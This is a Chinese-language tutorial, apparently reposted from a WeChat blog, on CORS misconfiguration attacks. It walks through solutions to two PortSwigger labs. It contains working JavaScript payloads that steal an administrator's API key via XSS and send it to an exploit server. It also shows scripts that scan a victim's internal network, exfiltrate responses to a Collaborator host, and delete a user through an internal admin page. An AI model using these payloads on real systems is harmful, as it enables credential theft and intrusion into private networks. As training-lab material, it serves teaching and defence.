在本节中,将解释什么是跨域资源共享(CORS),描述一些基于跨域资源共享攻击的常见示例,并讨论如何防范这些攻击。
通过CORS信任关系利用XSS
即使是“正确”配置的CORS也会在两个来源之间建立信任关系。
如果网站信任易受跨站脚本(XSS)攻击的来源,则攻击者可以利用XSS注入一些JavaScript,该JavaScript使用CORS从信任易受攻击的应用程序的站点检索敏感信息。
例如以下请求:
如果服务器响应:
那么,在subdomain.vulnerable-website.com上发现XSS漏洞的攻击者可以使用它来检索API密钥,使用如下URL:
使用配置不当的CORS破坏TLS
假设严格使用HTTPS的应用程序还将使用纯HTTP的受信任子域列入白名单。
例如,当应用程序收到以下请求时:
应用程序响应:
在这种情况下,能够拦截受害者用户流量的攻击者可以利用CORS配置来破坏受害者与应用程序的交互。
此攻击涉及以下步骤:
●受害者用户发出任何普通的HTTP请求。
●攻击者将重定向注入到:
http://trusted-subdomain.vulnerable-website.com
●受害者的浏览器遵循重定向。
●攻击者拦截纯HTTP请求,并返回包含CORS请求的欺骗响应:
https://vulnerable-website.com
●受害者的浏览器发出CORS请求,包括来源:
http://trusted-subdomain.vulnerable-website.com
●应用程序允许该请求,因为这是一个列入白名单的来源,请求的敏感数据在响应中返回。
●攻击者的欺骗页面可以读取敏感数据并将其传输到攻击者控制的任何域。
即使易受攻击的网站在HTTPS的使用方面非常稳健,没有HTTP端点并且所有的cookie都被标记为安全,这种攻击仍然有效。
场景试验-受信任的不安全协议的CORS漏洞:
https://portswigger.net/web-security/cors/lab-breaking-https-attack
场景说明:
这个试验场景的CORS配置不安全,因为它信任所有子域,而不管协议如何。
试验目的:
要完成这个试验,需要制作一些使用CORS的JavaScript来检索管理员的API密钥并将代码上传到漏洞利用服务器,当成功提交管理员的API密钥后,试验就完成了。
场景提供了可供使用的账号wiener:peter。
攻击过程:
①用提供的账号进行登录,登录后可以看到API显示在页面上,通过Burp抓包可以看到获取API过程中访问了/accountDetails页面,并且响应包含了Access-Control-Allow-Credentials标头,说明这个URL可能支持CORS
②将这个请求发送到Repeater,增加如下标头并发送(注意替换下试验地址),在响应的请求中可以看到Access-Control-Allow-Origin标头允许子域跨域访问
http://test.your-lab-id
③打开一个产品页面,选择"Check stock"可以观察到载入了一个子域进行了库存的显示,"productID"存在XSS漏洞
④打开"exploit server",键入下面的JavaScript脚本,注意替换下试验场景地址,保存
<script> document.location="http://stock.your-lab-url/?productId=4<script>varreq = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://your-lab-url/accountDetails',true);req.withCredentials= true;req.send();function reqListener() {location='https://your-exploit-server-url/log?key='%2bthis.responseText;};%3c/script>&storeId=1"</script>
⑤点击"View exploit",可以看到API密钥信息包含在URL里面
⑥返回"exploit server",发送给受害者,随后点击"Access log",从中获取到administrator的API密钥,提交即可完成试验
没有凭据的Intranet和CORS
大多数CORS攻击依赖于如下响应标头的存在:
如果没有该标头,受害者用户的浏览器将拒绝发送他们的cookie,这意味着攻击者将只能访问未经身份验证的内容,而他们可以通过直接浏览目标网站来轻松访问这些内容。
但是,在一种常见情况下,攻击者无法直接访问网站:当它是组织内部网的一部分,并且位于私有IP地址空间内时。
内部网站的安全标准通常低于外部网站,从而使攻击者能够发现漏洞并获得进一步的访问权限。例如,私网内的跨域请求可能如下:
服务器响应:
应用程序信任来自任何来源的资源请求,而无需凭据。
如果私有IP地址空间内的用户访问公共Internet,则可以从使用受害者浏览器作为访问Intranet资源的代理在外部站点执行CORS攻击。
场景试验-具有内部网络枢轴攻击的CORS漏洞:
https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack
场景说明:
这个试验场景的CORS配置不安全,因为它信任所有内部网络来源。
试验目的:
要完成这个试验,编写一些JavaScript来定位本地网络(192.168.0.0/24,端口8080)上的端点,然后可以使用它来识别和创建基于CORS的攻击以删除Carlos用户。
攻击过程:
这个试验比较复杂,需要分解成好四个步骤,涉及到不同的JavaScript脚本,接下来就攻击思路一步步进行讲解。
Step 1
首先我们需要通过终端扫描内部网络找到提供8080端口服务的内部服务器,根据试验场景提供的本地网络是在192.168.0.0网段。
①打开"Burp Collaborator client",复制地址,后续所有的响应包都转发到这里,后面"exploit server"代码中涉及到Collaborator地址都要进行替换
②将下面的代码放置"exploit server"中,这个脚本用来轮询探查内部开放了8080端口的主机地址,并将服务器响应的HTML发送给collaborator
<html>
<script>
collaboratorURL = 'http://your-collaborator-URL'
for (let i=0; i<256; i++){
fetch('http://192.168.0.' + i +':8080')
.then(response => response.text())
.then(text => {
try {
fetch(collaboratorURL + '?ip=' + 'http://192.168.0.' + i + "&code" + encodeURIComponent(text))
} catch(err) {
}
})
}
</script>
</html>
③点击"Deliver exploit to victim",可以在Collaborator查看到响应,并截取到受害者内部轮询的结果从而获取到开放了8080服务器的地址
④将响应的内容部分进行解码,可以发现这是一个Login的登录界面,因此通过这个步骤可以发现,其实我们并没有登录到内部这台主机上
Step 2
通过步骤一可以发现内部主机的访问时在其CORS允许名单内的,接下来就想办法找到登录页面的XSS漏洞从而绕过验证机制
①将下面的代码放置"exploit server"中,注意修改下collaborator地址和前面一步扫描出来的内部主机地址,这个脚本主要是用来测试登录页面是否存在XSS漏洞,如果存在XSS漏洞则会在collaborator收到请求
<html>
<script>
collaboratorURL = 'http://your-collaborator-URL'
url = 'http://internal-ip:8080'
fetch(url)
.then(response => response.text())
.then(text => {
try {
xss_vector = ' "><img src='+collaboratorURL+'?foundXSS=1>';
login_path ='/login?username='+encodeURIComponent(xss_vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/);
location = url + login_path;
}catch(err){
}
});
</script>
</html>
②保存后发送给受害者,可以在collaborator中收到<img>标签执行的请求,说明登录页面的username部分存在XSS漏洞
Step 3
利用登录页面username存在的XSS漏洞,登录授权页面并删除carlos用户。
①将下面代码放置到"exploit server"中,利用XSS漏洞访问管理页面,其实只需要修改第二步代码中xss_vector的跨站攻击代码即可
<html>
<script>
collaboratorURL = 'http://your-collaborator-URL'
url = 'http://internal-ip:8080'
fetch(url)
.then(response => response.text())
.then(text => {
try {
xss_vector = ' "><iframe src=/admin onload="new Image().src=''+collaboratorURL+'?code='+encodeURIComponent(this.contentWindow.document.body.innerHTML)">';
login_path = '/login?username='+encodeURIComponent(xss_vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/);
location = url + login_path;
}catch(err){
}
});
</script>
</html>
②发送给受害者,可以看到collaborator接收到请求包,将HTML页面部分代码进行解码后可以看到已经进入admin的管理页面了
③调整xss_vector部分,将下面代码放置到"exploit server"中,用来删除carlos用户,保存后发送给受害者即可完成试验
<html>
<script>
collaboratorURL = 'http://your-collaborator-URL'
url = 'http://internal-ip:8080'
fetch(url)
.then(response => response.text())
.then(text => {
try {
xss_vector = ' "><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value='carlos',f.submit()">';
login_path = '/login?username='+encodeURIComponent(xss_vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/);
location = url + login_path;
}catch(err){
}
});
</script>
</html>
SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):跨域资源共享(CORS)-攻击示例(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论